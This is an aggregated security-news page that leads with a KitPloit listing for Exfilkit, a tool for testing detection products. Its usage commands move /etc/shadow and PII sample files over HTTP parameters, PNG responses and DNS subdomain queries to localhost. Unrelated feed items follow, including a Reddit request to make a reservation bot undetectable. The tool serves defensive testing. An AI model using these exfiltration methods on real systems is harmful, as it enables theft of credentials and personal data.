KitPloit - PenTest Tools!
Exfilkit - Data Exfiltration Utility For Testing Detection Capabilities

https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhey_yUne0yxdumzLIYfqO152QDmec5MjrITKpPGRaRlEwlXlSg7O4wF83vBm3nNnQyPJDGovKd3E_hVGL4HxTip6tx0qcGtsF21gwXYUFwBg7le8lc5RAnSXR183zuHk8voyjYJ-gV4Mij1fD5MXstjNzszmfnYSAOk8dlph-3IgYGKhMvXhU2jsIQ/w640-h368/Exfilkit.png
Data exfiltration utility for testing detection capabilities

Description

Data exfiltration utility used for testing detection capabilities of security products. Obviously for legal purposes only.
Exfiltration How-To

/etc/shadow -> HTTP GET requests

Server

# ./exfilkit-cli.py -m exfilkit.methods.http.param_cipher.GETServer -lp 80 -o output.log


Client

$ ./exfilkit-cli.py -m exfilkit.methods.http.param_cipher.GETClient -rh 127.0.0.1 -rp 80 -i ./samples/shadow.txt -r


/etc/shadow -> HTTP POST requests

Server

# ./exfilkit-cli.py -m exfilkit.methods.http.param_cipher.POSTServer -lp 80 -o output.log


Client

$ ./exfilkit-cli.py -m exfilkit.methods.http.param_cipher.POSTClient -rh 127.0.0.1 -rp 80 -i ./samples/shadow.txt -r


PII -> PNG embedded in HTTP Response

Server

$ ./exfilkit-cli.py -m exfilkit.methods.http.image_response.Server -lp 37650 -o output.log


Client

# ./exfilkit-cli.py -m exfilkit.methods.http.image_response.Client -rh 127.0.0.1 -rp 37650 -lp 80 -i ./samples/pii.txt -r


PII -> DNS subdomains querying

Server

# ./exfilkit-cli.py -m exfilkit.methods.dns.subdomain_cipher.Server -lp 53 -o output.log


Client

$ ./exfilkit-cli.py -m exfilkit.methods.dns.subdomain_cipher.Client -rh 127.0.0.1 -rp 53 -i ./samples/pii.txt -r

Download Exfilkit

hacking: security in practice
Not really hacking, but I’m planning on using an auto refresh tool + an autoclicker to try to click on a reservation link as soon as it becomes available upon refresh. The website has a strict no bots rule to book dates. Will these two tools activate the bot trigger? And can I make it undetectable?

And what about only using the auto refresh without an autoclicker? Thanks in advance.

submitted by /u/DaddyCool13
[link] [comments]

hacking: security in practice
Defending against malicious bots with a zip bomb

https://external-preview.redd.it/dmNDaQbix-b1JK_8hJOkoag8_FsIBJxjmcy9sm60hq8.jpg?width=640&crop=smart&auto=webp&s=fcf9059c8b082e8ee9f073e309e2c7a165609586 submitted by /u/z0mbie42_
[link] [comments]

hacking: security in practice
Uses for old directv dishes?

I have 2 satellite dishes that came with my house, directv and dish network. Can I use these for anything, like trying to communicate with other satellites or maybe amplifying my Wi-Fi signal?

submitted by /u/Nx0Sec
[link] [comments]

Single most valuable resource: Bug Bounty Hunting
https://0xshakhawat.medium.com/single-most-valuable-resource-bug-bounty-hunting-a60406684d3f?source=rss------bug_bounty-5

As a Bug Bounty Hunter, what is the single most valuable resource (course, blog, cert, book) that has boosted your skills the most?Continue reading on Medium » (https://0xshakhawat.medium.com/single-most-valuable-resource-bug-bounty-hunting-a60406684d3f?source=rss------bug_bounty-5)

Single most valuable resource: Bug Bounty Hunting

As a Bug Bounty Hunter, what is the single most valuable resource (course, blog, cert, book) that has boosted your skills the most?Continue reading on Medium »
Read more...

Hacking on Medium
RSA recap, an Enigma machine and a warning on China-backed cyberthreats

https://cdn-images-1.medium.com/max/1080/1*R83t9Iz9gdu-Ion3og4LLA.png
Welcome to Changelog for 6/12/22, published by Synack! Blake here, en route to Washington, D.C., today after attending another successful…

Continue reading on README_ »

Hacking on Medium
Yönetim

https://cdn-images-1.medium.com/max/924/1*FeDvccsm48O9NX76XHyzZw.png
Forta Network’ün merkezi olmayan mimarisi, büyüyen düğüm operatörleri topluluğunu, tespit botu geliştiricilerini ve bunun üzerine kurulu…

Continue reading on Medium »

Hacking on Medium
Single most valuable resource: Bug Bounty Hunting

https://cdn-images-1.medium.com/max/1280/1*EYffcPqPX36VdoCjq4TWQQ.png
As a Bug Bounty Hunter, what is the single most valuable resource (course, blog, cert, book) that has boosted your skills the most?

Continue reading on Medium »

Hacking on Medium
Hash Cracker With Python

A Hash is often used to safeguard passwords and other important data.

Continue reading on Medium »

Hacking on Medium
Hack This Site Extended Basic 1

https://cdn-images-1.medium.com/max/700/0*VJBLJ7w897otbnog.jpg
After completing the JavaScript section I contemplated whether to continue on with this website or find a new one. I ended up settling on…

Continue reading on Medium »